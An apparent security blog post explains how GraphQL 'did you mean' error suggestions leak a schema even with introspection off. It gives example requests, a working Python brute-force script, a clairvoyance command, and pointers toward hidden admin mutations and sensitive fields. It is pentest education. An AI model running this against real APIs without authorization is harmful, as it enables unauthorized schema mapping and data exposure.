cd ../blog

GraphQL Field Suggestion Abuse: Rebuilding a Hidden Schema

Even with introspection disabled, GraphQL's did-you-mean error suggestions leak field and type names, letting an attacker reconstruct the schema and reach hidden operations. We cover the technique and a working extraction PoC.

Disabling GraphQL introspection is supposed to hide the schema, but the engine's helpfulness leaks it anyway: when you query a field name that almost matches a real one, the validation error replies "Did you mean ...". By probing systematically and harvesting those suggestions, you rebuild the schema field by field — and reach the hidden mutations and types the UI never calls.

Where it hides

This affects GraphQL endpoints that have switched off introspection but left "did you mean" suggestions on (the default in many servers). Find the endpoint and confirm the behavior:

  • Endpoints at /graphql, /api/graphql, /v1/graphql, or a POST to /.
  • A blocked introspection query ({__schema{...}} returns "introspection is disabled").
  • Validation errors that still include Did you mean "X"? text.

First confirm introspection is off but suggestions are on. Send a deliberately wrong field and read the error:

POST /graphql HTTP/1.1
Host: app.example.com
Content-Type: application/json

{"query": "{ usr { id } }"}
{"errors": [{"message": "Cannot query field \"usr\" on type \"Query\". Did you mean \"user\" or \"users\"?"}]}

That suggestion is the leak: the server just told you two real root fields. graphw00f fingerprints the engine (which tells you whether suggestions are on by default), and clairvoyance automates the whole reconstruction by feeding candidate names and parsing suggestions.

Reproducing it

The extraction is a guided brute force: send near-miss field names, collect every "Did you mean" suggestion, add the discovered names back into the wordlist, and recurse into their types. A minimal driver:

import requests, re
URL = "https://app.example.com/graphql"
SEEDS = ["user","account","admin","payment","order","secret","intern",
         "token","email","role","update","delete","create"]

def suggestions(field, parent="Query"):
    q = {"query": f"{{ {field} {{ __typename }} }}"} if parent=="Query" else \
        {"query": f"{{ user {{ {field} }} }}"}
    r = requests.post(URL, json=q).json()
    found = []
    for e in r.get("errors", []):
        found += re.findall(r'Did you mean "([^"]+)"', e["message"])
    return found

discovered = set()
for s in SEEDS:
    for name in suggestions(s):
        if name not in discovered:
            discovered.add(name)
            print("field:", name)
print("recovered fields:", sorted(discovered))

Each near-miss yields real names; iterating reconstructs the Query and Mutation surface. The prize is the mutation list, because hidden administrative mutations routinely have weaker authorization than anything the UI reaches.

Type and argument names leak the same way. Once you know a field exists, query it wrong-shaped to extract its arguments and nested fields:

POST /graphql HTTP/1.1
Host: app.example.com
Content-Type: application/json

{"query": "{ user(i: 1) { id } }"}
{"errors":[{"message":"Unknown argument \"i\" on field \"user\". Did you mean \"id\"?"}]}

Now you have the argument name. Repeating against deeper selections walks the whole object graph without a single introspection query. To accelerate, point clairvoyance at the endpoint with a wordlist and let it emit a reconstructed schema:

clairvoyance -o schema.json -w wordlist.txt https://app.example.com/graphql
# Produces an introspection-shaped schema rebuilt purely from suggestions

Going further

A reconstructed schema is the map to everything else, so chain it into operations the developers assumed were hidden:

  • Call an undocumented admin/internal mutation (deleteUser, setRole, impersonate) discovered only through suggestions.
  • Read sensitive fields on known types that the UI never selects (user { ssn paymentMethods { number } }).
  • Find a deprecated field with weaker authorization than its replacement.

A practical recon habit is to fire a handful of near-miss root fields (usr, acount, admn, paymnt) and read the "Did you mean" lists — if they come back populated, the schema is recoverable regardless of the introspection setting. Capture the suggestion-bearing error responses, the reconstructed field/mutation list, and one concrete reach into a hidden operation or sensitive field. Keep all testing on authorized targets and use accounts you control.